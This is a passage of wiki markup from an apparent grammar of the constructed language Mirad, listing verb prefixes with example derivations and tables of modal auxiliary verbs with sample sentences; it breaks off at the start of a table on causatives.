::* '''kexer'''....''to seek'' → '''&lt;u&gt;zye&lt;/u&gt;kexer'''....''to rummage, sift through''
::* '''drer'''....''to write'' → '''&lt;u&gt;zye&lt;/u&gt;drer'''....''to cross out, draw a line through''
::* '''iluer'''....''to pour'' → '''&lt;u&gt;zye&lt;/u&gt;iluer'''....''to soak''
::* '''koper'''....''to sneak'' → '''&lt;u&gt;zye&lt;/u&gt;koper'''....''to sneak through''
=== Expressing ''all over, widely, all about'' with '''zya-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zya&lt;/u&gt;ber'''....''to spread''
::* '''buer'''....''to give'' → '''&lt;u&gt;zya&lt;/u&gt;buer'''....''to distribute''
::* '''ijber'''....''to open'' → '''&lt;u&gt;zya&lt;/u&gt;ijber'''....''to open wide''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;zya&lt;/u&gt;nuxer'''....''to disburse''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zya&lt;/u&gt;puxer'''....''to scatter, cast about''

=== Expressing ''mid-, center'' with '''ze-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ze&lt;/u&gt;ber'''....''to balance''
::* '''byaser'''....''to stand'' → '''&lt;u&gt;ze&lt;/u&gt;byaser'''....''to straddle''
::* '''der'''....''to say'' → '''&lt;u&gt;ze&lt;/u&gt;der'''....''to interject''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ze&lt;/u&gt;pyoser'''....''to sag''
::* '''poxer'''....''to stop'' → '''&lt;u&gt;ze&lt;/u&gt;poxer'''....''to interrupt''
=== Expressing ''futurity'' with '''oj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oj&lt;/u&gt;ber'''....''to put off, postpone''
::* '''bier'''....''to take'' → '''&lt;u&gt;oj&lt;/u&gt;bier'''....''to borrow''
::* '''fer'''....''to want'' → '''&lt;u&gt;oj&lt;/u&gt;fer'''....''to wish, aspire''
::* '''texer'''....''to think'' → '''&lt;u&gt;oj&lt;/u&gt;texer'''....''to plan''
::* '''teater'''....''to see'' → '''&lt;u&gt;oj&lt;/u&gt;teater'''....''to envision''
::* '''vader'''....''to affirm'' → '''&lt;u&gt;oj&lt;/u&gt;vader'''....''to promise''
=== Expressing ''past'' with '''aj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;aj&lt;/u&gt;ber'''....''to pass, relegate to the past''
::* '''der'''....''to say'' → '''&lt;u&gt;aj&lt;/u&gt;der'''....''to evoke, hearken, recount''
::* '''embier'''....''to occupy'' → '''&lt;u&gt;aj&lt;/u&gt;embier'''....''to haunt''
::* '''texer'''....''to think'' → '''&lt;u&gt;aj&lt;/u&gt;texer'''....''to reminisce, to reflect''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;aj&lt;/u&gt;uvtosder'''....''to apologize''
::* '''nexer'''....''to store'' → '''&lt;u&gt;aj&lt;/u&gt;nexer'''....''to archive''
=== Expressing ''present'' with '''ej-''' ===
::* '''buer'''....''to give'' → '''&lt;u&gt;ej&lt;/u&gt;buer'''....''to present''
::* '''eser'''....''to exist'' → '''&lt;u&gt;ej&lt;/u&gt;eser'''....''to attend, to be present''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;ej&lt;/u&gt;nuxer'''....''to pay cash''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;ej&lt;/u&gt;tuer'''....''to update''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;ej&lt;/u&gt;uvtosder'''....''to apologize''
=== Expressing a stretched out action with '''yag-''' (''long'') ===
::* '''beser'''....''to stay'' → '''&lt;u&gt;yag&lt;/u&gt;beser'''....''to linger''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;yag&lt;/u&gt;bexer'''....''to conserve, preserve''
::* '''daler'''....''to talk'' → '''&lt;u&gt;yag&lt;/u&gt;daler'''....''to ramble''
::* '''dodaler'''....''to orate'' → '''&lt;u&gt;yag&lt;/u&gt;dodaler'''....''to harangue''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yag&lt;/u&gt;teaxer'''....''to stare''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
=== Expressing a brief action with '''yog-''' (''short'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yog&lt;/u&gt;drer'''....''to abbreviate''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yog&lt;/u&gt;teaxer'''....''to glance at''
::* '''tujer'''....''to sleep'' → '''&lt;u&gt;yog&lt;/u&gt;tujer'''....''to snooze, nap''
::* '''gobler'''....''to cut'' → '''&lt;u&gt;yog&lt;/u&gt;gobler'''....''to cut short, truncate''

=== Some Hybrid Prefixes ===
The prefix '''kui-''' is a hybrid of '''ku-''' (''lateral'') and '''ki-''' (''diagonal'')

::* '''per'''....''to go'' → '''&lt;u&gt;kui&lt;/u&gt;per'''....''to wobble''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;kui&lt;/u&gt;tyoper'''....''to limp''

The prefix '''zao-''' is a truncated hybrid of '''zay-''' (''forward'') and '''zoy-''' (''backwards''), eg:

::* '''baser'''....''to move'' → '''&lt;u&gt;zao&lt;/u&gt;baser'''....''to rock''
::* '''per'''....''to go'' → '''&lt;u&gt;zao&lt;/u&gt;per'''....''to alternate''
::* '''beler'''....''to carry'' → '''&lt;u&gt;kui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;kui&lt;/u&gt;pyoser'''....''to pendulate''

The prefix '''yaob-''' is a hybrid of '''yab-''' (''up'') and '''yob-''' (''down'').  The final '''b-''' is assimilated or dropped before a '''b''' or '''p'''.

::* '''baser'''....''to move'' → '''&lt;u&gt;yao&lt;/u&gt;baser'''....''to bob''
::* '''per'''....''to go'' → '''&lt;u&gt;yao&lt;/u&gt;per'''....''to heave''
::* '''beler'''....''to carry'' → '''&lt;u&gt;yao&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''peper'''....''to ride'' → '''&lt;u&gt;yao&lt;/u&gt;peper'''....''to jounce''
::* '''puser'''....''to jump'' → '''&lt;u&gt;yao&lt;/u&gt;puser'''....''to hop, bounce''

The prefix '''bui-''' is a hybrid of '''bu-''' (''to'') and '''bi-''' (''from''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;bui&lt;/u&gt;drer'''....''to correspond''
::* '''-er'''....''to x'' → '''&lt;u&gt;bui&lt;/u&gt;er'''....''to trade''
::* '''beler'''....''to carry'' → '''&lt;u&gt;bui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''xer'''....''to do'' → '''&lt;u&gt;bui&lt;/u&gt;xer'''....''to push and pull, spring''
::* '''poper'''....''to travel'' → '''&lt;u&gt;bui&lt;/u&gt;poper'''....''to travel to and fro, travel round trip''

The prefix '''uiz-''' is a hybrid of '''uz-''' (''crooked'') and '''iz-''' (''straight''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''der'''....''to say'' → '''&lt;u&gt;uiz&lt;/u&gt;der'''....''to equivocate''
::* '''baser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;baser'''....''to wiggle, to squirm''
::* '''per'''....''to go'' → '''&lt;u&gt;uiz&lt;/u&gt;per'''....''to careen, reel''
::* '''paser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;paser'''....''to swerve, yaw''

The prefix '''zui-''' is a hybrid of '''zu-''' (''left'') and '''zi-''' (''right''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zui&lt;/u&gt;buxer'''....''to push around''
::* '''baser'''....''to move'' → '''&lt;u&gt;zui&lt;/u&gt;baser'''....''to sway, totter''
::* '''per'''....''to go'' → '''&lt;u&gt;zui&lt;/u&gt;per'''....''to zigzag''
::* '''pasler'''....''to shake'' → '''&lt;u&gt;zui&lt;/u&gt;pasler'''....''to wobble''

The prefix '''aoyeb-''' is a hybrid of '''(a)yeb-''' (''in'') and '''oyeb-''' (''out''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;aoye&lt;/u&gt;ber'''....''to insert and extract''
::* '''tiexer'''....''to breathe'' → '''&lt;u&gt;aoye&lt;/u&gt;tiexer'''....''to breath in and out''
::* '''paper'''....''to fly'' → '''&lt;u&gt;aoye&lt;/u&gt;paper'''....''to fly in and out''

The prefix '''aob-''' is a hybrid of '''ab-''' (''on'') and '''ob-''' (''off''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;ao&lt;/u&gt;ber'''....''to put on and off''
::* '''per'''....''to go'' → '''&lt;u&gt;ao&lt;/u&gt;per'''....''to get on and off, embark and disembark''

The prefix '''vao-''' is a hybrid of '''va-''' (''yes'') and '''vo-''' (''no''), eg:

::* '''der'''....''to say'' → '''&lt;u&gt;vao&lt;/u&gt;der'''....''to decide''
::* '''daler'''....''to talk'' → '''&lt;u&gt;vao&lt;/u&gt;daler'''....''to waffle''
::* '''duder'''....''to answer'' → '''&lt;u&gt;vao&lt;/u&gt;duder'''....''to answer yes or no''
::* '''kyaxer'''....''to change'' → '''&lt;u&gt;vao&lt;/u&gt;kyaxer'''....''to redact''
::* '''texer'''....''to think'' → '''&lt;u&gt;vao&lt;/u&gt;texer'''....''to deliberate, vacillate''

The prefix '''uij''' is a hybrid of '''uj-''' (''end'') and '''ij-''' (''begin'')

::* '''ber'''....''to put'' → '''&lt;u&gt;uij&lt;/u&gt;ber'''....''to switch off and on''
::* '''daler'''....''to talk'' → '''&lt;u&gt;uij&lt;/u&gt;daler'''....''to stutter''

The prefix '''yuij''' is a hybrid of '''yuj-''' (''close'') and '''yij-''' (''open'')

::* '''ber'''....''to put'' → '''&lt;u&gt;yuij&lt;/u&gt;ber'''....''to open and close, blink''

The prefix '''huim''' is a hybrid of '''hum''' (''there'') and '''him''' (''there'')

::* '''paper'''....''to fly'' → '''&lt;u&gt;huim&lt;/u&gt;paper'''....''to fly here and yon''
::* '''per'''....''to go'' → '''&lt;u&gt;huim&lt;/u&gt;per'''....''to wander''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;huim&lt;/u&gt;kexer'''....''to search high and low''

=== Different Nuances of '''teaxer''' with Prefixes ===
&lt;div style=&quot;background: lightyellow;{{Text default color}}; border: solid blue 2px; {{column-count|3}};{{column-rule|2px solid blue}};font-size:smaller;&quot;;&gt;
::* '''teaxer'''....''to look, behold, regard''
::* '''aybteaxer'''....''to supervise, look over''
::* '''ajteaxer'''....''to look back on (retrospect)''
::* '''eynteaxer'''....''to squint''
::* '''fizteaxer'''....''to respect''
::* '''fuzteaxer'''....''to disrespect''
::* '''gawteaxer'''....''to review, re-look''
::* '''hyuitteaxer'''....''to look at one another''
::* '''ibteaxer'''....''to ignore''
::* '''igteaxer'''....''to glance, glimpse''
::* '''ifteaxer'''....''to marvel at''
::* '''izteaxer'''....''to view directly, confront, aim''
::* '''jateaxer'''....''to preview''
::* '''jeteaxer'''....''to watch, observe''
::* '''joteaxer'''....''to review''
::* '''kateaxer'''....''to look for''
::* '''keteaxer'''....''to scan''
::* '''kiteaxer'''....''to look askance''
::* '''koteaxer'''....''to peek, spy''
::* '''kozyeteaxer'''....''to peep''
::* '''kozyoteaxer'''....''to peer''
::* '''kuteaxer'''....''to observe''
::* '''kyeteaxer'''....''to browse''
::* '''kyoteaxer'''....''to stare, glare''
::* '''oteaxer'''....''to ignore, overlook''
::* '''ufteaxer'''....''to glare, leer''
::* '''ugteaxer'''....''to gaze''
::* '''yagteaxer'''....''to gape, gawk''
::* '''yebteaxer'''....''to inspect''
::* '''yibteaxer'''....''to view from afar''
::* '''yogteaxer'''....''to glance at''
::* '''yokteaxer'''....''to get a glimpse of''
::* '''yubteaxer'''....''to examine''
::* '''yuibteaxer'''....''to look near and far''
::* '''yuzteaxer'''....''to look around, circumspect''
::* '''yanteaxer'''....''to view together''
::* '''yizteaxer'''....''to look beyond, overlook''
::* '''vyateaxer'''....''to investigate, check out''
::* '''vyoteaxer'''....''to view wrongly''
::* '''zateaxer'''....''to face, confront''
::* '''zayteaxer'''....''to look ahead, expect''
::* '''zoyteaxer'''....''to look back''
::* '''zeyteaxer'''....''to look across''
::* '''ziteaxer'''....''to look to the right''
::* '''zuteaxer'''....''to look to the left''
::* '''zuiteaxer'''....''to look right and left''
::* '''zyateaxer'''....''to look all over, survey''
::* '''zyeteaxer'''....''to look through, peruse''
::* '''zyoteaxer'''....''to squint''
::* '''yobteaxer'''....''to look down''
::* '''yaobteaxer'''....''to look up and down''
::* '''zaoteaxer'''....''to look back and forth''
::* '''yabteaxer'''....''to look up''
::* '''yubketeaxer'''....''to pry''
::* '''uzteaxer'''....''to look indirectly at''
::* '''oyebteaxer'''....''to look out''
::* '''ojteaxer'''....''to peer into the future''
::* '''marteaxer'''....''to star-gaze''
::* '''tabteaxer'''....''to autopsy''
&lt;/div&gt;

== Modal Verbs ==
: Modal verbs are auxiliary verbs that are usually followed by the main verb in the infinitive or a subjunctive dependent clause and have to do with wanting, permitting, prohibiting, being able, being unable, needing, being obliged to do something, etc. 
==== Principal Modal Auxiliary Verbs ====
[[File:Ladies Should Listen poster.jpg|thumb|]]
: Mirad has a set of modal auxiliary verbs that can be followed by a main verb in the infinitive mode.  This is very much like English modal auxiliary verbs in the following examples:
::* ''I &lt;u&gt;want&lt;/u&gt; to go.''
::* ''You &lt;u&gt;must&lt;/u&gt; wait.''
::* ''You &lt;u&gt;may&lt;/u&gt; stay.''
::* ''I &lt;u&gt;dare&lt;/u&gt; say.''

: Here is a chart showing the main modal auxiliary verbs in Mirad:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Principle Modal Auxiliary Verbs
|-
! Type !! Positive !! Negative
|-
! Permission
| '''afer'''....''may''&lt;br&gt;'''ayfer'''....''might'' || '''ofer'''....''may not''&lt;br&gt;'''oyfer'''....''might not''
|-
! Ability
| '''yafer'''....''can''||'''yofer'''....''cannot''
|-
! Need 
| '''efer'''....''need to'' ||
|-
! Obligation
| '''yefer'''....''must''&lt;br&gt;'''yeyfer'''....''should'' ||'''oyefer'''....''must not''&lt;br&gt;'''oyeyfer'''....''should not''
|-
! Desire 
| '''fer'''....''want to'' ||
|-
! Enjoyment 
| '''ifer'''....''love to, enjoy''&lt;br&gt;'''iyfer'''....''like to'' || '''ufer'''....''hate to''&lt;br&gt;'''uyfer'''....''dislike to''
|-
! Courage
|'''yifer'''....''dare to'' || '''yufer'''....''be afraid to, fear''
|-
! Liberty
| '''yiver'''....''have a right to, be free to'' ||  '''yuver'''....''be bound to, be supposed to''
|-
! Expectation
| '''yaker'''....''expect to'' || '''yoker'''....''be surprised to''
|-
! Conation
| '''yeker'''....''try to'' || 
|-
! Difficulty
| '''yiker'''....''to find it hard to'' || '''yuker'''....''to find it easy to''
|}

: These modal auxiliary verbs are often followed by a verbal infinitive, as in the following examples:
::* '''At fe &lt;u&gt;ter&lt;/u&gt;.'''....''I want &lt;u&gt;to know&lt;/u&gt;.''
::* '''Wit yifa &lt;u&gt;yeper&lt;/u&gt;.'''....''He dared &lt;u&gt;to enter&lt;/u&gt;.''
::* '''Yat yafe &lt;u&gt;teater&lt;/u&gt; yet.'''....''We can &lt;u&gt;see&lt;/u&gt; you.''
::* '''Duven et yaka &lt;u&gt;aker&lt;/u&gt;?'''....''Did you expect &lt;u&gt;to win&lt;/u&gt;?''
::* '''Diwe yeku &lt;u&gt;xer&lt;/u&gt; ga fi.'''....''Please try &lt;u&gt;to do&lt;/u&gt; better.''

: If the modal verb is in the hypothetical aspect (conditional), then the sense is somewhat mitigated, as in these examples:

:* '''At &lt;u&gt;fe&lt;/u&gt; per.'''....''I &lt;u&gt;want&lt;/u&gt; to go.''
:* '''At &lt;u&gt;fu&lt;/u&gt; per.'''....''I &lt;u&gt;would&lt;/u&gt; like to go.''

:* '''Et &lt;u&gt;yafe&lt;/u&gt; aker.'''....''You &lt;u&gt;can&lt;/u&gt; win.''
:* '''Et &lt;u&gt;yafu&lt;/u&gt; aker.'''....''You &lt;u&gt;could&lt;/u&gt; win.''

:* '''Yet &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Yet &lt;u&gt;yefu&lt;/u&gt; iper.'''....''You &lt;u&gt;ought&lt;/u&gt; to leave.''

: Post-y-gliding the stem vowel of the modal verb also reduces the strength, for example:

:* '''At &lt;u&gt;ife&lt;/u&gt; et.''' ....''I &lt;u&gt;love&lt;/u&gt; you.''
:* '''At &lt;u&gt;iyfe&lt;/u&gt; et.''' ....''I &lt;u&gt;like&lt;/u&gt; you.''

:* '''Et &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Et &lt;u&gt;yeyfe&lt;/u&gt; iper.'''....''You &lt;u&gt;should&lt;/u&gt; leave.''

:* '''Iyt &lt;u&gt;yafe&lt;/u&gt; aker.'''....''She &lt;u&gt;can&lt;/u&gt; win.''
:* '''Iyt &lt;u&gt;yayfe&lt;/u&gt; aker.'''....''She &lt;u&gt;might&lt;/u&gt; win.''

:* '''At &lt;u&gt;ufa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;hated&lt;/u&gt; that art.''
:* '''At &lt;u&gt;uyfa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;disliked&lt;/u&gt; that art.''

: The use of '''l''' and '''r''' intensify the meaning of the auxiliary verbs, eg:

:* '''Et &lt;u&gt;yuve&lt;/u&gt; puer jwe.'''....''You &lt;u&gt;are supposed&lt;/u&gt; to arrive on time.''
:* '''Et &lt;u&gt;yuvle&lt;/u&gt; tepzexer.'''....''You &lt;u&gt;have&lt;/u&gt; to pay attention.''
:* '''Et &lt;u&gt;yuvre&lt;/u&gt; buer nas.'''....''You &lt;u&gt;absolutely must&lt;/u&gt; give money.''

:* '''At &lt;u&gt;yeka&lt;/u&gt; ser yeva.'''....''I &lt;u&gt;tried&lt;/u&gt; to be fair.''
:* '''At &lt;u&gt;yekla&lt;/u&gt; ujber jwa.'''....''I &lt;u&gt;strove&lt;/u&gt; to finish early.''
:* '''At &lt;u&gt;yekra&lt;/u&gt; nixer ga nas.'''....''I &lt;u&gt;struggled (= worked hard))&lt;/u&gt; to earn more money.''

:* '''Iyt &lt;u&gt;ife&lt;/u&gt; eker zyun.'''....''She &lt;u&gt;loves&lt;/u&gt; to play ball.''
:* '''Iyt &lt;u&gt;ifla&lt;/u&gt; teater et.'''....''She &lt;u&gt;was delighted&lt;/u&gt; to see you.''
:* '''Iyt &lt;u&gt;ifre&lt;/u&gt; teaper him.'''....''She &lt;u&gt;adores&lt;/u&gt; visiting here.''

: Here are some examples showing how these modal verbs are used as auxiliaries:

::* '''Et &lt;u&gt;afe&lt;/u&gt; oyeper ay ifeker.'''....''You &lt;u&gt;may&lt;/u&gt; go out and play.''
::* '''Yat &lt;u&gt;efa&lt;/u&gt; tujer.'''....''We &lt;u&gt;needed&lt;/u&gt; to sleep.''
::* '''Ot &lt;u&gt;ofe&lt;/u&gt; mavier him.'''....''One &lt;u&gt;is prohibited&lt;/u&gt; to smoke here.''
::* '''Mavier him &lt;u&gt;ofwe&lt;/u&gt;.'''....''Smoking here is prohibited.''
::* '''At &lt;u&gt;ife&lt;/u&gt; dyeer.'''....''I &lt;u&gt;love&lt;/u&gt; to read.''
::* '''Duven et &lt;u&gt;fe&lt;/u&gt; yeper?'''....''Do you &lt;u&gt;want&lt;/u&gt; to come in?''
::* '''At &lt;u&gt;fu&lt;/u&gt; teaper et edjub.'''....''I &lt;u&gt;would like&lt;/u&gt; to visit you some day.''
::* '''It &lt;u&gt;ufaye hyaj&lt;/u&gt; teaxwer.'''....''He &lt;u&gt;has always hated&lt;/u&gt; being looked at.''
::* '''Duven et &lt;u&gt;iyfe&lt;/u&gt; per tilami?'''....''Do you &lt;u&gt;like&lt;/u&gt; going to bars?''
::* '''At &lt;u&gt;uyfe&lt;/u&gt; tijer gra jwa.'''....''I &lt;u&gt;dislike&lt;/u&gt; waking up too early.''
::* '''Et &lt;u&gt;yafe&lt;/u&gt; xer hyehos et fu.'''....''You &lt;u&gt;can&lt;/u&gt; do whatever you like.''
::* '''Et &lt;u&gt;yefer&lt;/u&gt; xer ad vyaas.'''....''You &lt;u&gt;must&lt;/u&gt; do the right thing.''
::* '''Et &lt;u&gt;yeyfe&lt;/u&gt; voy daler huuyen azay.'''....''You &lt;u&gt;should&lt;/u&gt; not talk so loud.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; ter ga fi.'''....''I &lt;u&gt;should have&lt;/u&gt; known better.''
::* '''At &lt;u&gt;voy yifu&lt;/u&gt; der hyea fuas.'''....''I &lt;u&gt;would not dare&lt;/u&gt; say anything bad.''
::* '''&lt;u&gt;Von yufu&lt;/u&gt; der hos et tesde.'''....''&lt;u&gt;Don't be afraid&lt;/u&gt; to say what you mean.''
::* '''Et &lt;u&gt;yive&lt;/u&gt; dier yevanavdut.'''....''You &lt;u&gt;have a right&lt;/u&gt; to ask for a lawyer.''
::* '''Yat &lt;u&gt;voy yuvle&lt;/u&gt; kyoejer.'''....''We &lt;u&gt;are not bound&lt;/u&gt; to stick around.''

=== Subject-oriented vs. Patient-oriented Modal Verb Forms ===

:: All of these modal verbs can be passive, in which case they are &quot;patient-oriented&quot; rather than &quot;subject-oriented.&quot; The participial adjective '''yafa'''....''able'' is subject-oriented and refers to a person, whereas the passived adjective '''yafwa'''....''possible'' is patient-oriented and refers to a thing or event. Here is a chart of the principal modal verbs and corresponding participial adjectives with this subject/object-orientation distinction shown:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Subject-oriented vs. Patient-oriented Modal Verb Forms
|-
! Modal Type || Subject-oriented !! Subject-oriented !! Patient-oriented !! Patient-oriented
|-
! !! Verb !! Adjective !! Verb !! Adjective
|-
!row=1| Permission
| '''afer'''&lt;br&gt;''may'' || '''afa'''&lt;br&gt;''allowed'' || '''afwer'''&lt;br&gt;''be permitted'' || '''afwa'''&lt;br&gt;''permissable''
|-
!row=1| Necessity 
| '''efer'''&lt;br&gt;''need'' || '''efa'''&lt;br&gt;''needful'' || '''efwer'''&lt;br&gt;''be necessary'' || '''efwa'''&lt;br&gt;''necessary, required''
|-
!row=1| Prohibition
| '''ofer'''&lt;br&gt;''be unallowed'' || '''ofa'''&lt;br&gt;''prohibited'' || '''ofwer'''&lt;br&gt;''be prohibited'' || '''ofwa'''&lt;br&gt;''banned''
|-
!row=1| Possibility
| '''yafer'''&lt;br&gt;''be able'' || '''yafa'''&lt;br&gt;''able'' || '''yafwer'''&lt;br&gt;''be possible'' || '''yafwa'''&lt;br&gt;''possible''
|-
!row=1| Obligation
| '''yefer'''&lt;br&gt;''must'' || '''yefa'''&lt;br&gt;''obliged'' || '''yefwer'''&lt;br&gt;''be obligatory'' || '''yefwa'''&lt;br&gt;''obligatory''
|-
!row=1| Duty 
| '''yeyfer'''&lt;br&gt;''should'' || '''yeyfa'''&lt;br&gt;''supposed, duty-bound'' || '''yeyfwer'''&lt;br&gt;''be supposed'' || '''yeyfwa'''&lt;br&gt;''due''
|-
!row=1| Impossibility
| '''yofer'''&lt;br&gt;''be unable'' || '''yofa'''&lt;br&gt;''unable'' || '''yofwer'''&lt;br&gt;''be impossible'' || '''yofwa'''&lt;br&gt;''impossible''
|-
!row=1| Volition
| '''fer'''&lt;br&gt;''want'' || '''fa'''&lt;br&gt;''desirous'' || '''fwer'''&lt;br&gt;''be desirable'' || '''fwa'''&lt;br&gt;''desirable, wanted''
|-
!row=1| Love 
| '''ifer'''&lt;br&gt;''love''&lt;br&gt;'''iyfer'''&lt;br&gt;''like'' || '''ifa'''&lt;br&gt;''enamored''&lt;br&gt;'''iyfa'''&lt;br&gt;''fond'' || '''ifwer'''&lt;br&gt;''be loved''&lt;br&gt;'''iyfwer'''&lt;br&gt;''be liked'' || '''ifwa'''&lt;br&gt;''lovable''&lt;br&gt;'''iyfwa'''&lt;br&gt;''likeable''
|-
!row=1| Hate 
| '''ufer'''&lt;br&gt;''hate''&lt;br&gt;'''uyfer'''&lt;br&gt;''dislike'' || '''ufa'''&lt;br&gt;''averse''&lt;br&gt;'''uyfa'''&lt;br&gt;''displeased''|| '''ufwer'''&lt;br&gt;''be hated''&lt;br&gt;'''uyfwer'''&lt;br&gt;''be disliked'' || '''ufwa'''&lt;br&gt;''odious''&lt;br&gt;''unliked''
|-
!row=1| Courage 
| '''yifer'''&lt;br&gt;''dare'' || '''yifa'''&lt;br&gt;''daring, brave'' || '''yifwer'''&lt;br&gt;''be safe'' || '''yifwa'''&lt;br&gt;''safe''
|-
!row=1| Fear 
| '''yufer'''&lt;br&gt;''be afraid'' || '''yufa'''&lt;br&gt;''afraid'' || '''yufwer'''&lt;br&gt;''be a danger'' || '''yufwa'''&lt;br&gt;''frightening''
|-
!row=1| Joy 
| '''iver'''&lt;br&gt;''enjoy'' || '''iva'''&lt;br&gt;''glad'' || '''ivwer'''&lt;br&gt;''be a joy'' || '''ivwa'''&lt;br&gt;''enjoyable''
|-
!row=1| Sorrow
| '''uver'''&lt;br&gt;''be sorry'' || '''uva'''&lt;br&gt;''sorry, sad'' || '''uvwer'''&lt;br&gt;''be a shame'' || '''uvwa'''&lt;br&gt;''regrettable''
|}

: Examples of subject-oriented forms:

::* '''At se &lt;u&gt;yafa&lt;/u&gt; xer hes.'''....''I &lt;u&gt;am capable of&lt;/u&gt; doing anything.''
::* '''Et &lt;u&gt;ofe&lt;/u&gt; teater hia dyezun.'''....''You &lt;u&gt;are not allowed/are prohibited&lt;/u&gt; to see this film.''
::* '''Duven at &lt;u&gt;afe&lt;/u&gt; per hum?'''....''Am I &lt;u&gt;allowed&lt;/u&gt; to go there?''
::* '''Yat &lt;u&gt;fu&lt;/u&gt; ter eta dyun.'''....''We &lt;u&gt;would like&lt;/u&gt; to know your name.''
::* '''Piti &lt;u&gt;ufe&lt;/u&gt; beser be mel.'''....''Fish &lt;u&gt;hate&lt;/u&gt; to remain on dry land.''
::* '''At ajay &lt;u&gt;ifa&lt;/u&gt; dazer.'''....''I once &lt;u&gt;loved&lt;/u&gt; to dance.''
::* '''Et se iva, at &lt;u&gt;yife&lt;/u&gt; der.'''....''You are beautiful, I &lt;u&gt;dare&lt;/u&gt; say.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; xer has ga ig.'''....''I &lt;u&gt;should&lt;/u&gt; have done it sooner.''
::* '''Von &lt;u&gt;yufu&lt;/u&gt;; At yupeye.'''....''&lt;u&gt;Fear&lt;/u&gt; not; I am coming.''
::* '''Et &lt;u&gt;yefe&lt;/u&gt; puer ja eymaj.'''....''You &lt;u&gt;must&lt;/u&gt; arrive before noon.''
::* '''Yet &lt;u&gt;yofe&lt;/u&gt; daler je ha dezun.'''....''You people &lt;u&gt;must not&lt;/u&gt; talk during the performance.''
::* '''Yat &lt;u&gt;yeyfe&lt;/u&gt; (= se &lt;u&gt;yeyfa&lt;/u&gt;) aker.'''....''We should (= are &lt;u&gt;bound/supposed/due&lt;/u&gt;) to win.''
::* '''At &lt;u&gt;ive&lt;/u&gt; teater et bakser.'''....''I&lt;u&gt;'m glad&lt;/u&gt; to see you get better.''
::* '''Su &lt;u&gt;iva&lt;/u&gt;.'''....''Be &lt;u&gt;happy&lt;/u&gt;.''
::* '''At &lt;u&gt;uvu (= su uva)&lt;/u&gt; teater et iper.'''....''I &lt;u&gt;would be sad&lt;/u&gt; to see you leave.''

: Examples of patient-oriented forms:

::* '''&lt;u&gt;Afwe&lt;/u&gt; (= se afwa) mavier him.'''....''&lt;u&gt;It is permissible&lt;/u&gt; to smoke here.''
::* '''&lt;u&gt;Ofwe&lt;/u&gt; (= se ofwa*) puxer fyumul him.'''....''&lt;u&gt;It is prohibited&lt;/u&gt; to throw litter here.''
::* '''&lt;u&gt;Fwe&lt;/u&gt; (= se fwa) van yet dolu.'''....''&lt;u&gt;It is desired&lt;/u&gt; that you stop talking.''
::* '''&lt;u&gt;Voy yafwe&lt;/u&gt; beser him gajob.'''....''&lt;u&gt;It is not possible&lt;/u&gt; to remain here any longer.''
::* '''&lt;u&gt;Yofwa&lt;/u&gt; av at ivteuder.'''....''&lt;u&gt;It was not possible&lt;/u&gt; for me to laugh.''
::* '''&lt;u&gt;Yefwe&lt;/u&gt; van et piu ig.'''....''&lt;u&gt;It is essential&lt;/u&gt; that you leave quickly.''
::* '''He &lt;u&gt;yeyfwe&lt;/u&gt; ober ata tyoyafi?'''....''Is &lt;u&gt;it obligatory&lt;/u&gt; to remove my shoes?''
::* '''Ga yux &lt;u&gt;efwo&lt;/u&gt;.'''....''More help &lt;u&gt;will be needed&lt;/u&gt;.''
::* '''Yuxren se &lt;u&gt;ufwa&lt;/u&gt; xetyen.'''....''Slavery is an &lt;u&gt;odious&lt;/u&gt; practice.''
::* '''&lt;u&gt;Uvwe&lt;/u&gt; van wit oka.'''....''&lt;u&gt;It's a shame&lt;/u&gt; that he lost.''

:: *&lt;small&gt;'''lofwa''' is used for ''unwanted'' for disambiguation purposes.&lt;/small&gt;

=== Deriving Causatives from Modal Stems ===

: Various causative verbs can be formed from modal stems, as shown in the chart below:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Deriving Causatives from Modal Stems
|-
! Subject-oriented !! Patient-oriented
|-
